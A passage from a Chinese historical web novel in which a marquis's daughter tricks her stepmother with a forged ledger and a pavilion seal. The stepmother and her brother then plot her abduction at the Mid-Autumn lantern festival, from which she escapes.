罗岱心下觉得罗漪华真是明知故问,他都求到侯府来了,可不就是打着让她这侯府夫人帮他解决这件事的算盘吗,这也不是第一回了。
“阿姐,你就再帮弟弟一回吧,我下次再也不赌了!”罗岱面上一片真诚。
罗漪华看着弟弟这个样子,心下实在是有些动摇,毕竟是自己弟弟,她还能真的放任不管吗?
轻叹一口气,她便叫了柳嬷嬷过来:“你从大姑娘办笄礼的用度里划二百两出来。”
柳嬷嬷有些迟疑:“夫人,这会不会有些不妥?”
罗漪华知道,侯爷对那丫头的及笄礼看得重,但她也没办法,总不能从她的体己钱里拿吧,这些都是要留着给萱姐儿和旻哥儿的:"无妨,你照做就是。"
柳嬷嬷领命下去了。
“嘿嘿,还是姐你对我好,还有,姐,你能不能让刚刚那丫鬟来服侍我?”罗岱得了便宜还卖乖。
罗漪华狠狠拧了他一把:“你想得美,我告诉你,你在侯府别惹事!你要是还像原来一样,我饶不了你!”
虽是这么说,但罗漪华还是让那个叫桃花的丫鬟伺候罗岱,又让罗岱住在靠外院的院子,等等琐事,按下不表。
稍晚一些,谢泱等来了巧玉的回话。
巧玉说完罗漪华让她来确认账本,便问谢泱:“姑娘要我现在去回了夫人吗?”
谢泱思索一番,倘若巧玉现在就去告诉罗漪华谢泱的账本是灵丹阁的,那未免显得太顺利了:“不必,你现在什么都不用做。”
巧玉领命下去后,茯苓有些不解的问:“姑娘为何不直接告诉夫人您就是灵丹阁大掌柜?何必如此大费周章?”
“我要的是她知道后恨不得直接把灵丹阁抢过来,直接告诉她还有这个效果吗?”
罗漪华自己一步一步证实这个事,到最后得到真相时反应才会越激烈。谢泱要确保在禁药案事发后罗漪华能第一时间接手灵丹阁。
不过,仅凭巧玉的话罗漪华未必会完全相信,所以她要让巧玉两天之后把账本直接交到罗漪华手上,让罗漪华眼见为实。而在这期间,谢泱还要出面坐实罗漪华的猜想。
只是如何证实呢?谢泱翻着手中那本罗漪华极想要的账本。
这本账本不是真的账本,里面的流水都是谢泱精心伪造过的,从头到尾都只有帐尾盖着的灵丹阁印章是真的。
对了,印章!谢泱眼前一亮,这印章不就是一个很好的证据吗?
“茯苓,你去把我的印章拿过来。”
“是,姑娘。”
片刻后,茯苓将一枚小巧的白玉印章递给谢泱。
灵丹阁有两个商章,大的那枚放在叶三那里,而小的那枚方便携带,便放在了谢泱这里。平日里谢泱都令茯苓妥善保管,非需要不会拿出来用,但如今它要有别的用处了。谢泱看着手上的印章,若有所思。
随后,她在两个丫鬟耳边说了一番话。
半夏和茯苓听完以后,对视一眼,也下去了。
次日一早,谢泱破天荒地决定去给罗漪华请早安。
去之前,她特意将那枚灵丹阁的印章别在了腰间,白玉印章与她的月华色常服相配,旁人不细看只会以为是一枚普通玉佩,倒是不打眼。
路上,谢泱又向两个丫鬟叮嘱了一遍昨晚所说之事。
茯苓乖巧地点点头,而半夏却忍不住贫嘴:“姑娘如此絮叨,到时候可要找一个耳根子厚的姑爷,否则怎么受得了!”说完还用揶揄的眼神看着谢泱。
这话一出,连稳重的茯苓都忍不住笑了出来。
“好你个半夏,敢取笑你家小姐。”谢泱也觉得好笑,佯怒着要去揪半夏的耳朵:“还敢不敢了?”
“姑娘我错了,再也不敢了!”
三个人闹作一团,好不容易分开了要往荣禧堂去,绕过花园一处假山时却冷不丁被突然出现的罗岱吓了一跳。
原来是刚刚谢泱三人的笑声被同要去荣禧堂的罗岱听到了。
那罗岱昨日回去后便听服侍他的桃花说候府大小姐谢泱前不久回府了,罗岱知道有谢泱这个人,却从来没见过她。他本不在意,可刚刚隔着花草远远一见,这个他从未见过的名义上的外甥女竟是如此漂亮,顿时便起了些别的心思。
罗岱伸手拦住谢泱一行人:“这位便是泱姐儿吧,真是百闻不如一见。”他的目光在谢泱身上上下打量,虽和他的亲外甥女谢云萱差不多大,可看着却勾人得很,尤其是那双眼,他看一眼便觉得魂要被勾走了,好一个含苞待放呼之欲出的美娇娘。
谢泱冷冷地看向这个眼神猥琐的不速之客,谢泱不认得这个人,但在看他第一眼的那刻就大概知道了这是一个什么样的人。
想要了解一个人最直接的方法就是观察他的眼神,言语可以修饰,但眼神却很难骗人。
罗岱常年混迹烟花柳巷之地,眼神浑浊猥琐,尽管谢泱不认识他,但也能从这点判断出一二——此人绝非善类,需要提防。
谢泱不想追究为何一个外男能随意出现在后院,她往旁边挪了一步,准备绕过此人直接走。罗岱见状也跟着往旁边走,挡住谢泱的去路,半夏和茯苓见状当即便挡在谢泱面前护着她。
“泱姐儿别着急嘛,我是彭城伯府的公子,说来你还得叫我一声舅舅呢。”罗岱笑眯眯地看向谢泱,
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没脸没皮地先攀上了亲戚。
彭城伯府?原来是罗漪华的弟弟,谢泱冷笑一声:“既然是‘舅舅’,那不知眼下这般作态是何意味?”谢泱说的是罗岱不管不顾就拦着她,还纠缠不休。
谢泱态度很明显,她不想和罗岱多纠缠,但罗岱却好像感受不到似的:“泱姐儿何必如此生疏,我们都是一家人嘛。”
“你小时候我还见过你呢,想来你是不记得了。”
这句话当然是胡扯,只不过罗岱瞎话说习惯了,为了套近乎这种话是张口就来:“没想到这些年出落得愈发动人了。”他边说边将手伸向谢泱的脸。
“放肆!”茯苓和半夏一同出声,而谢泱则是在那双咸猪手伸过来的那刻往后退了一步。
罗岱倒没真想摸谢泱,只不过这样的动作也足够令人作呕。
谢泱的耐心在此刻被完全耗尽,但面上反而浮现出一抹笑容,只是那笑意未达眼底:“‘舅舅’自便。”说完便转身另寻一条路走了。
两个丫鬟紧跟在谢泱身后一起走了,只是半夏还回头恶狠狠地瞪了一眼罗岱。
罗岱望着谢泱的背影,没再追上去,他低头看向那只差点摸到谢泱脸颊的手,随后缓缓将手凑到鼻尖,闭眼深嗅一口,一脸享受:“还是个烈性的。”
谢泱绕了条小路去荣禧堂,路上半夏愤愤不平:“姑娘,咱们就这么轻易放过他了?要我说,姑娘你就应该让我直接揍他一顿!”
茯苓有些不认可:“这样容易给姑娘惹麻烦,不如告诉侯爷,让侯爷把他赶出府去,这种登徒子留在府里就是个祸害。”
谢泱耐心听着两个丫鬟给她出的主意,她们说的都有道理,但算账也得讲究天时地利,刚刚并无他人看到,谢泱告状也是一个空口无凭,当然了,她才不会用“告状”这么蠢的法子,且等着吧,这笔帐她记下了。
“半夏,你去打听清楚此人底细,我倒要看看他想做什么。”
“是,姑娘。”
正说着,三人便到了荣禧堂。
罗漪华正在用早饭,见谢泱突然来她这,筷子都差点没拿稳。
难道是巧玉被这小蹄子发现了?真是个成事不足败事有余的东西!罗漪华心下猜疑,面上却挂着一副受宠若惊的慈孝:“泱姐儿怎么早来我这请安,真是有心了。”
“既然来了,不如就在这用膳吧。”罗漪华说这话时仍坐在座位上,下人听了也无甚反应,很显然,这只是句客套话,罗漪华才不想谢泱留下来给她添堵。
哪曾想,谢泱听罢真就坐下了,脸上挂着不出错的笑容:“那便多谢姨娘好意了,正好腹中也有些饥饿。”谢泱睁着大眼看看罗漪华,又看看罗漪华身旁的丫鬟,她偏要装作听不懂的样子。
罗漪华紧紧攥着手帕,气的指甲险些被掐断,可气的是面上还不能露出异样,她只好瞪了一眼身旁的丫鬟:“愣着做什么,还不快去给大姑娘添碗筷!”
那丫鬟也是委屈的很,明明是夫人不喜大姑娘,偏偏还要她们做下人的受气。
“这丫鬟不懂事,倒是叫泱姐儿笑话了。”
“不碍事的姨娘,我并未放在心上。”谢泱这话说的大度,言语间却是暗暗指责罗漪华驭下无方。
此话一出,罗漪华连基本的笑都维持不住了。
果真是那贱人的女儿!
谢泱没再看罗漪华的反应,而是在碗筷呈上来后指挥半夏给她布菜。
“那个粥看起来不错,给我盛一碗。”谢泱指了指中间的米粥。
半夏盛好一小碗,正要递给谢泱,却不知道被什么绊了一下,一踉跄,手上的粥便尽数洒在了谢泱的衣裙上。
“啊——”
15.上钩
变故来得突然,等谢泱反应过来,米汤已经将她的衣裙浸透,她连忙站起身,茯苓则拿帕子帮谢泱擦拭。
“你这丫头平时伶俐得很,怎么这会子毛手毛脚起来了。”谢泱一边数落半夏,一边将身上穿着的罩衫脱下,腰上的挂饰也摘下随手放在桌上。
半夏听着谢泱教训自己,面上摆出做错事的羞愧,心下却忍不住感叹自家小姐的好演技,都可以直接登台唱戏了:“我错了姑娘,这地太滑了,我一不小心没端稳就······”这是在说荣禧堂连个地都打扫不干净呢。
本来不知道谢泱在弄哪一出,正准备看戏的罗漪华听到这话脸色微微一变:“泱姐儿没事儿吧,我这也没有合适的衣裳,不如紧着回去换,若是着凉可就不好了。”眼下中秋都未过,地处南地的凤阳何来着凉一说,罗漪华这么说不过是想送客罢了。
谢泱见计划成功,也不想多留,当下便告了退。
罗漪华看着一地狼藉,心想这一早上都被谢泱这小蹄子给毁了,也无心再吃下去,吩咐下人过来收拾。
“夫人,这好像是大小姐落在这的,要差人给送过去吗?”来收拾桌面的小丫鬟拿起桌上那一枚白玉印章,看向正在闭目揉眉心的罗漪华。
罗漪华心里本就烦躁,听后连眼睛都没睁开:“什么劳什子,都扔了去,我看她也不缺这一个。”
那小丫鬟不敢反驳,只得收了去,戴戴离开前端详了一番那个印章,她不识字,只觉得寻常小姐都是戴些玉佩、金银首饰什么的,戴印章的她还是第一次见,嘴里忍不住嘟囔:“好稀奇的印章······”
这小丫鬟本就是个活泼的性子,说的话也不小声,“印章”二字甫一出口,罗漪华便睁开了双眼:“拿过来给我瞧瞧。”
谢泱一个闺阁小姐哪里会用到印章?也未曾听说她有书画爱好,莫非是有情人私相授受?还是她偷拿了府里的章?罗漪华的直觉告诉她这印章里肯定有猫腻!
小丫鬟听到后又返回来将那印章递给罗漪华。
罗漪华接过来看,是一枚小巧的白玉印章,她翻看一番,见章底赫然印着“灵丹阁印”。
霎那,罗漪华瞳孔微震。
果然······她现在已经几乎能确认灵丹阁现在就是归那小贱人管。遮遮掩掩都不知已经多少年了,就连老爷也对自己三缄其口,眼下我看你们还怎么瞒!
正在罗漪华还在看着那枚印章出神的时候,半夏却突然折回来了。
“夫人,我们姑娘命我回来取她落在这的首饰,咦,夫人怎么拿着呢?”半夏看向罗漪华手中之物。
罗漪华被半夏问的措手不及,一时间不知道怎么回答,半夏却如想明白了一般:“肯定是夫人怕弄丢,想要收起来归还我们姑娘吧,那便多谢夫人了。”说完也不等罗漪华反应,便将手伸出去,准备将印章要回来。
半夏手都伸过来了,罗漪华不好说什么,只得将印章递了过去:“你来拿也好,省的我再差人送过去。”
说完见半夏走,罗漪华有些不死心,仍想再确认一番:“不知道泱姐儿拿这印章是做什么的?”
半夏听完故作心虚:“啊······我们姑娘最近的爱好就是刻章。”说完便如同怕被戳穿一般,快步离开了,只是这个模样落在罗漪华眼里却是这丫头怕自家小姐的秘密泄露所以才落荒而逃。
罗漪华看着半夏离去的背影,恨得牙痒痒的同时还有些得意,现在她知道了,谢泱你就别想能平稳经营下去!
半夏拿回印章后很快就追上了谢泱。
她将印章还给谢泱,脸上全是幸灾乐祸:“姑娘你都不知道,刚刚我伸手要东西的时候,那位的笑要多勉强有多勉强!”说完还冲荣禧堂的方向努努嘴。
其实不用半夏说,谢泱都能想象到罗漪华看到灵丹阁印章的心情。
刚刚等半夏的时候,她拦下府里一个洒扫的婆子,从那婆子嘴里她知道了罗岱的事,问起罗岱一个外男怎么在府里住,那婆子只说是来凤阳相看人家才在侯府暂住的,待谢泱要继续问下去,那婆子吞吞吐吐便不肯再说了。
谢泱见状便知这事有隐情,一个眼神给茯苓,茯苓当即就掏出一块银子塞给那婆子。
那婆子一个月的月钱才五百文,这一块银子少说有一两,都抵得上夫人身边的二等丫鬟了,她嘴上推脱,手却诚实,收下了银子,面上也换了副谄媚的模样。
那婆子看了看周围,低声向谢泱说起罗岱的事:“罗舅爷以前来府里住的时候也不少,前些年有一回,说是在逛窑子的时候强行让一个清倌人从了他,差点没被青楼里的龟公打死,还是侯府出面才平息了此事······”
说起这些秘闻,那婆子就滔滔不绝了起来:“······后来夫人下了令,不许在府里说舅爷的事,至于这回来,奴估摸着又是赌输了钱来向夫人要吧。”
说到这,谢泱明白了个七八分,罗岱一身坏毛病,这些年没少惹麻烦,罗漪华偏又溺着他,回回都给他擦屁股,就是不知道往外拿了多少银子了,想来也少不了,毕竟别的都好说,只是沾上了赌······那就另当别论了。
罗漪华就是有再大的能耐,也无非是仗着自己掌侯府中馈,拿点钱给弟弟补窟窿也轻易不会被人发现罢了,只是罗岱那摆明了是个无底洞,侯府又不是个钱袋子,迟早有事情败露的那天,等那时候,就算是谢元鼎也不会放过她的。
所以谢泱现在更加确定,罗漪华确定了她和灵丹阁的关系后,一定会按耐不住,到时候只要她流露出一点想放弃灵丹阁的念头,罗漪华说什么也会将灵丹阁抢过来。
既如此,她只要按计划行事即可。
“巧玉那边安排好了吗?”
茯苓回话:“都安排好了姑娘,大概一刻钟后她就会过去。”
谢泱点点头,回听竹轩去了。
果不其然,一刻钟后,巧玉出现在了荣禧堂,手里还拿着一本蓝色册子,这册子正是那本罗漪华想要的、经谢泱精心伪造过的灵丹阁账本。
谢泱特地吩咐巧玉趁她不在听竹轩的时候将账本带来荣禧堂,这样就可以给巧玉能顺利把账本偷出来编造一个合理的理由,免去罗漪华的怀疑。
“这册子你就这么拿出来了?”罗漪华翻着那本账本,狐疑地问巧玉。
“大小姐防奴婢防得紧,本不好拿,但今早大小姐并她那两个丫鬟都不在,奴婢这才寻了时机拿了给您。”
“她就不会发现房里少了东西?”
“大小姐每隔两三日才会看一次,昨儿个看过了,想来今日之内是不会发现,奴婢只要趁机放回去即可。”
罗漪华点点头,打消疑虑后便没再问下去,开始仔细翻阅起手中的账本,封面正楷写着灵丹阁,翻开是排列整齐的草流、细流、总清账,最后面是灵丹阁印章,大小与谢泱身上的那个章一般无二。
看到这,罗漪华已经没有什么不明白的了
她又细细研究起灵丹阁流水,执掌中馈多年,她一下就看出了灵丹阁盈利是一个多么惊人的数目,仅六七两月,进项就有足足三千多两!要知道,自家侯爷一年俸禄也不过一千二百两。
罗漪华越看越惊心,越看越憎恨。
谢泱的母亲叶淑然出自云中叶家,富甲一方,这些罗漪华都知道,可她不屑,再有钱也不过一身铜臭味的商贾,何以能和他们这些世家权贵相提并论!所以早在十多年前,她就恨,就嫉妒,恨永安侯娶了叶淑然,嫉妒叶淑然一个商户女能当侯夫人,好在谢元鼎并非
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真心爱慕叶淑然,她正是利用了这一点才能顺利上位。
她彭城伯府再不济,好歹还有个爵位,岂是一个叶家能够相提并论的?
罗漪华不见叶淑然太久,久到她以为她从此可以隐藏那些不堪的恨,体面地当一辈子侯夫人。可自从谢泱回府,一举一动都让她想起那些捉襟见肘、遭受非议的时刻。
她原想着等谢泱嫁出去就好了,眼不见为净,可灵丹阁这件事侯爷也瞒着她,就连上回世子来,侯爷最终也是让谢泱前去接待。
罗漪华突然感受到一股前所未有的危机感,不能再坐以待毙了,否则谢泱迟早骑到她头上去。
此刻,一个念头在她脑海中响起——她要让谢泱消失!她既可以让叶淑然滚出侯府,那么谢泱她也可以。
罗漪华想清楚后便冷静下来。
至于这本账本······不能留,她不能留下把柄,她还需装作不知情的样子,再从长计议。
“你放回去吧。”罗漪华吩咐巧玉。
“是,夫人。”
巧玉走后,罗漪华还在想能让谢泱顺理成章消失的法子。
“姐——”罗岱吊儿郎当的声音打断了她的沉思,他走进来,顺手拿起桌上的一杯凉茶喝了起来。
坐下以后,他似是不经意地提起:“刚刚在府里碰到了谢泱那丫头,倒是漂亮的紧。”
罗漪华听到罗岱夸谢泱漂亮,脑海里便浮现出她那张与叶淑然极其相似的脸,心中一阵烦躁,随口答了:“和她母亲一样,都是一张狐媚子脸罢了,你提她做什么。”
“我就问问,她就比萱姐儿大一些吧,不知道说亲了没有?”
罗漪华本也以为罗岱就是随口一提,可又听见罗岱又问些年龄、亲事的话,心中一下就警觉起来,她太了解她这个弟弟了,贪心好色,心里没有一点是非观念。
谢泱说到底不是罗岱的亲外甥女,年龄差的也不大,罗岱这样问,八成是对谢泱动了不该动的心思。
罗漪华一边怨弟弟得陇望蜀,刚给了个貌美的丫鬟给她,转头又瞧上了府里的小姐,一边又恨极了谢泱日日顶了张那样的脸去勾引男人。
但她还是警告罗岱:“你最好收起你那些小心思,名义上她还要称你一声舅舅!”
罗岱却不以为然:“那又如何,且不说人家根本就认我这个舅舅,她一个失了母亲的孤女,在侯府还不是任你摆弄,不如······”
罗岱咳了两声,接着说:“不如······你和姐夫说说去,把她悄摸地嫁给我算了,反正她没依没靠的,姐夫也不见得多喜欢她,这样一来,永安侯府和彭城伯府也算是亲上加亲了不是?”
“荒唐!”罗漪华显然被罗岱的想法震惊到了。
谢泱怎么能嫁给罗岱······
可震惊之后,罗漪华冷静下来,她细细一想,这样的亲事说出去有损侯府体面,但让借罗岱之手除掉谢泱也未尝不可······
“侯爷不会同意这门亲事的——”
罗岱还要再劝,话未说出口,却又听见罗漪华说:“但是,我有个法子,可以让你得到她,又可帮我除掉心头大患,你不就是想要得到她的身子吗?何必要用娶她这一种法子呢?”
罗漪华这话说的露骨,却正正好戳中了罗岱的心思:“那用什么法子?”
“中秋那日······”罗漪华凑到罗岱耳边低声商议起来。
听完后,罗岱有些犹豫:“这样会不会被发现?”
“此招虽险,胜算却大,不瞒你说,谢泱手里有一个灵丹阁,此事若成,这灵丹阁便是我的了,到那时候,我们便有数不尽的银子花了。”
罗岱听到这。眼睛都发光了,再也不见一点犹豫:“好!”
16.绑架
转眼就到了八月十五中秋这日。
白日里,永安侯府不过是几个院子的人一起在正院里头吃了顿家宴,又玩了行酒令、猜字谜、投壶此类眼下时兴的助兴玩意儿。
谢泱对这样的家宴不感兴趣,只不过是应付着玩了几下便要告辞回房去。
“泱姐姐怎么这会子就要回去了,不再玩会儿吗?”见谢泱这就要走了,一旁正在陪着谢云萱玩投壶的谢云烟出声挽留谢泱,除了谢泱回来的那日二人打了个招呼,之后的日子谢泱和这个林姨娘的女儿便没有过多的交流。
那日谢云烟对谢泱说有空可以去找她玩,可到底也没有真的遣人来找她,想来不过是客套话罢了。
谢泱看着谢云烟,回了她个淡淡的笑容:“我不太会玩这些,你们玩吧。”
谢云烟看着谢泱不冷不热的态度,内心不禁有些苦涩。
她其实对谢泱的印象很好 ,谢云萱娇蛮霸道,二伯家的谢云熙自持稳重,和谁相处都感觉隔了一层,谢云烟在府里没什么可以说话的人,谢泱回来,谢云烟总想着能和她多说说话。
只可惜,林姨娘不允许,谢云烟知道,无非是罗漪华不愿看到她和谢泱走太近。
这些事情,谢云烟没法和谢泱解释,只能回她一个遗憾的微笑。
一旁投壶投得正在兴头上的谢云萱却不屑地撇撇嘴:“切,装什么孤僻清高,大家都在这里玩,就你特立独行。”
谢泱懒得理她,就要离开,一旁正在看热闹的夏姨娘却突然出声:“在府里左不过是玩这些东西,久了也无聊得很,等晚上,城中灯会开始了,那才有意思呢!”
夏姨娘身孕快五个月了,头几个月为了养胎一直拘在院里,可憋坏了她,好不容易稳定下来,又逢中秋灯会,本就爱热闹的她怎么会想错过。
她搂着谢元鼎的手臂,对他撒娇:“老爷,不如晚上我们大家就一块儿去了吧,咱们儿子都要在府里憋坏了。”说完还拉着谢元鼎的手摸她已经隆起的肚子。
谢元鼎本觉着不妥,可架不住夏姨娘这副样子实在娇媚:“那便都依你。”
另一旁的罗漪华是实在看不惯夏姨娘这尾巴翘上天的样子,可夏姨娘有孕,到底不能把她怎么样,只是心里巴不得她在那人多的地方出点什么事,把身孕给弄没是最好。
谢元鼎让侯府一行人晚上都出府热闹热闹去,又特意叮嘱谢泱:“想来你在山庄也没见过这些热闹,一块去吧。”
罗漪华本来还在怄气,听到这话却来了几分精神,跟着附和道:“正是这个理儿,哪有我们去热闹,留泱姐儿一个人在府里的道理”
谢泱实在不喜欢和这些所谓的家人一起出去,今日是中秋,也是她的生辰,本该是一个阖家团圆的日子,可她的母亲都不在了,这些还有什么意思?
她正要拒绝,可身后的半夏却拉拉她的袖子,用渴望的眼神看向她,低声对她说:“姑娘,我们去吧,求你了······”
谢泱懂了半夏的意思,她又看向茯苓,就连一向稳重的茯苓眼中都有些期待。
谢泱心里叹了口气,是了,她的这两个丫头从小和她一起在山庄长大,山庄人少,自然冷清些,灯会这样的热闹她们是从来没体会过的。
谢泱可以要一份清净,但她没道理让身边的丫头也跟着自己冷清,反正也是无伤大雅的事情,由着她们也无妨。
于是她勉为其难答应了,半夏和茯苓见自家小姐同意了,一时间都很欢喜,谢泱看着她们两个,心里也染上几分欣喜。
谢元鼎满意地点点头,罗漪华则是微不可查地松了口气,而一直沉默的林姨娘却淡淡地注视这一切,若有所思。
晚饭过后,侯府一行人便准备着出门。
只是不知怎得,罗漪华突然称病,不能出去了,林姨娘则留下来陪着罗漪华。
突如其来的小插曲并没有影响大家出去热闹的激动心情,仍是结伴的结伴,分马车的分马车。
谢云萱让谢云烟陪她一起坐,谢元鼎则陪着有孕的夏姨娘一辆马车,奶妈带着谢云旻单独一辆车,这样一来便剩了谢泱一个人,不过也好,谢泱也落得清闲,她正好同半夏与茯苓一辆马车。
马车里,半夏忍不住埋怨谢云萱:“瞧她那个张狂的样子,天天跟个乌眼鸡似的想着法子拉着三姑娘挤兑我们姑娘。”
茯苓只好安慰她:“咱们单独坐一起还省得看她脸色呢。”
半夏想着是这个道理,转而又对灯会兴奋起来。
谢泱并不计较这些,不过半夏倒是提醒她了,这次府中出来的人,罗漪华和林姨娘没在,剩下的都来了······剩下的都来了吗?
谢元鼎和林姨娘,谢云萱、谢云烟和谢云旻,婶母王氏和谢云熙还没回来······
不对,还有一人——罗漪华的胞弟罗岱,他怎么不在?
这些日子,罗岱没怎么往外头跑,成日在侯府里找猫逗狗,好不惹人烦,哪怕谢泱不爱往其他院里凑,平日里都少不了与罗岱碰面,今日中秋没见到他,倒是有些令人生疑。
“罗岱今日没来凑热闹,你们不觉得有些奇怪吗?”谢泱转头问两个丫鬟。
“姑娘你好端端问起他来做什么,他不在不是更好吗,省的败了咱们的兴致。”
“或许是早就出去寻乐子了。”
两个丫鬟的话冲淡了谢泱的一点点疑虑,是啊,这样的好日子管他做什么呢?
——
凤阳的中秋灯会历史悠久,原是太祖当初一定天下时正值中秋前夕,天下初定,百废待兴,太祖为了稳定民心,也为消一消战后的消沉气象,便亲自下令,于中秋这日在彼时还是国都的凤阳举行花灯会,帝后与民同乐,后来虽迁都,这习俗却是保留下来,流传至今。
今晚整个凤阳城都是灯火辉煌,光彩夺目,永安侯府则是去了最繁华热闹的一条街。
甫一下车,映入大家眼帘的就是街衢两侧如海的花灯,如织的游人踏着光影穿梭其间,阵阵笙歌与小贩的叫卖声交织在一起,远处还不时传来戏曲声和喝彩声,好不热闹。
半夏和茯苓哪见过这样的场面,刚下来便跑到摊子上这里瞧瞧,那里摸摸,很是兴奋:“姑娘,快来看!”
谢泱知道她们的心情,笑着告诉她们:“想要什么便都买下来吧,难得你们来一回。”
一旁的谢云萱虽然也很激动,但却要装作平静的样子:“真是没见过世面,这有什么好稀奇的。”
“是吗?那希望你是带够银子了,别到时候看上了什么,买不起还要向我借。”谢泱瞥了她一眼。
“你!”谢云萱被气的话都说不出来。
“好了,你们自己逛去吧,都带好服侍自己的人,两个时辰后回府。”谢元鼎让她们各自去玩玩,自己则是带着夏姨娘和谢云旻走了。
谢泱才不想和谢云萱同游,便带着半夏和茯苓往里面走。
放眼望去,街上男女老少皆着盛装,不过谢泱注意到,这些人里不少都带着面具,样式无非是一些动物神仙什么的,无甚特别,想来大概是为了给出游添上几分趣味吧。
“我看这些人都带面具,不如我们也去买来带上吧,看起来有趣得很。”谢泱提议。
“还是姑娘想的周到!”
买面具的小摊随处可见,谢泱挑了一个狸奴样式的面具,半夏和茯苓也各自挑了喜欢的面具。
还真别说,带上面具再逛灯会真有一种雾里看花的别样趣味。
三个人走走停停,一路上看了许多新奇玩意儿,只是谢泱一路上总觉得有人在跟着自己,可每每转头,又只有游人,并无什么异常。
大概是自己还是有些不习惯这样的热闹吧,谢泱在心里告诉自己。
等走到街尾的一拐角处,远远的就见前头一大群人围着一个大台子,等谢泱三人走进一看,才发现是伶人馆趁着灯会
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在门口搭台子揽客,请伶人在外头奏乐表演。
这伶人馆倒是有几分气势恢弘,看着有五层楼高,正中牌匾用江湖体书“翠微馆”三字。
“姑娘,想来这就是凤阳最大的青楼了,之前就有所耳闻 ,今日一见,果真是名不虚传。”半夏抬头看向眼前的高楼,一脸惊奇。
“这里人多,我们还是离远些吧,万一有人挤着您就不好了。”茯苓有些担心地说。
谢泱也觉得这里人委实是有些多了,天下歌舞都一个样子,想来也没什么稀奇的:“也好,我们走吧。”
待谢泱正要离开,刚才那群人中却忽然一阵骚乱,闹哄哄的吵得人听不清说话。
“发生什么事了?”谢泱不清楚发生了什么,转头问半夏。
半夏也在张望:“不知道,也听不清楚,姑娘我们还是快走吧。”
“好。”
可突然,刚才那群人中有人大喊了一声:“杀人啦——”接着便有人带头似的往四周跑,这一喊不得了,附近不清楚状况的人们都开始四处逃窜,原本歌舞升平的场面一下子就变得混乱不堪。
横冲直撞的人群很快就把谢泱淹没,又仿佛有人事先预谋好的一般,有意识的把谢泱与两个丫鬟分散:“姑娘——”
谢泱顺着声音望去,可还没来得及辨别出哪个面具底下是半夏和茯苓,就又被冲过来的人撞向一旁。
等谢泱意识到这是有人早有预谋后,便已经来不及了,她彻底与两个丫鬟走散了。谢泱不知道的是,这场奇怪的混乱只发生在翠微馆正门口这一块范围内,其他地方并没有受到影响。
与此同时,翠微馆的侧门相对冷清处,一辆玄色马车悄然而至。
一双骨节分明的手从马车内掀开车帘,露出车内这双手的主人的脸——裴玠神情微冷从马车上下来。
“人到了吗?”裴玠看向早早在一旁等着的墨影。
“人已经在上面了,都布置好了主子。”
裴玠颔首,抬步走进翠微馆。
翠微馆馆主领着裴玠往顶楼走,微躬着身子,一脸恭敬:“世子殿下您放心,已经清好场了,绝对不会打扰您和贵客相商。”
“有劳。”
等裴玠进去,翠微馆馆主又叫来门口把守的的守卫:“今晚都给我打起精神来,若是让什么不相干的人扰了世子殿下的清净,我要你们提头来见!”
翠微馆外,谢泱试图凭着记忆往回走,就在走到一个巷子附近时,谢泱突然被一双手从后死死的捂住嘴巴,紧接着她感到脖子处穿来刺痛的感觉,仿佛被针扎了一下,还没来得及挣扎,便陷入了昏迷中。
······
等谢泱再次醒来,就发现自己的双手被绑在身后,嘴里塞了布,躺在一个放杂物的狭小院子里。
谢泱身上一点力气都没有,只好努力睁了眼,先观察周围的环境——四处都是杂物,自己则是躺在一个已经烂了的竹篾编的箱笼上,看这个地方倒像是什么商铺的后院杂物间。
谢泱仔细听,隐隐约约有丝竹声传来,似乎是翠微馆的声音,看来那歹人并没有把自己劫出多远来,现在只要想办法从这院子里翻墙出去,应该就能逃走。
等了一会,谢泱渐渐恢复了力气,那人用的迷药药效倒是不猛,这么一会她几乎就清醒了。
谢泱挣扎了一下,发现双手绑得太死,想要挣脱是不可能的,除非割断,可谢泱看了一圈,并没有什么锋利的东西能让她把手上的绳子割断。
谢泱不经皱眉,想要站起来寻找,待一动,手上却突然被什么东西划了一下,瞬间的刺痛激了谢泱一下,原来是谢泱身下的竹篾笼子破了以后的锋利边缘在作祟。
谢泱大喜过望,顾不得手上的伤,背着身子大致对准位置,来回蹭,企图利用竹篾将绳子割断。
绳子割了一半时,院门外却突然传来声音,谢泱心里一惊,又躺了下去,继续装晕。
17.入怀
谢泱听到两个男人的声音,紧接着有人推门而入。
“娘的,这小娘们长得真带劲。”
谢泱屏住呼吸,尽量让自己装得像一点,尽管男人粗鄙的话让她感到一阵恶心。
说这话的男人蹲下来,仔细看谢泱的长相,靠得太近以至于谢泱都能闻到这人身上传来的臭味,令人作呕。又过了一会儿,谢泱突然感到这人在用手摸她的脸,谢泱心里一阵恶寒,但为了不被发现,她还是硬生生忍了下来。
“不如老子就在这里办了她,反正也是要卖去窑子里的,早晚□□都一样。”
卖去窑子?!谢泱原以为这人绑架她要么劫财要么劫色,没想到是要把她卖去窑子生不如死?如此歹毒,是罗漪华吗?谢泱暂时也想不到其他人。可当务之急是,眼下她要怎么办,如果等会这个男人真的对她行不轨之事,她要怎么反抗?
就在此时,另一个男人出声了:“别,这是岱爷要的人,就算要动,也轮不到你先。”
“妈的,那老子就等岱爷完事儿了再来,反正也不差这一会儿。”
男人恋恋不舍地又摸了一把谢泱的脸,转身骂骂咧咧地同另一人走了。
谢泱顾不得恶心,迅速思考着那两人刚刚的话,岱爷?罗岱?是他劫持的自己吗?这是单纯罗岱见色起意,还是与罗漪华联合预谋?
听他们话里的意思,等会罗岱应该会过来,不能再呆下去了,现在就要离开。
谢泱不再思考是谁要害她,她挣扎着起身,用刚才的法子把剩下的绳子割断,接着又搬来几个放杂物的箱子,擂在一起,三两下翻了出去,只是在最后一下蹬箱子借力的时候,一下踩歪了把那个轻飘飘的箱子踹到地上去了,弄出了动静。
“里面怎么回事?”
“那娘们不会跑了吧?”
糟糕!还是引起注意了,但谢泱顾不得那么多了,先跑再说,这是她唯一的机会了。她快速扫了一眼周围的路,选择往传来丝竹声的翠微馆方向跑。
里头的男人已经发现谢泱跑了,叫人赶紧来追:“都给我去追!抓到了我重重有赏!”
谢泱逃出来以后,跑进了一个复杂的巷子里,小巷四通八达,因为灵丹阁的缘故,谢泱很清楚,凤阳商铺大多临街分布,街边排列的商铺后面,就是密密麻麻的巷子和百姓住宅。
谢泱现在可以肯定,她现在离外面的大街一定很近,只是被商铺挡着,不好跑到街上去。所以,她现在只要顺着声音跑到翠微馆去,那里鱼龙混杂,她很容易就能脱身。
“她跑哪去了?”
“你们去那边看,我们追这边!”
那些来抓她的人的声音透过薄薄的墙穿进谢泱的耳朵,身后的杂乱的脚步声在渐渐逼近。谢泱放轻步子,一边绕路,一边继续向翠微馆靠近。
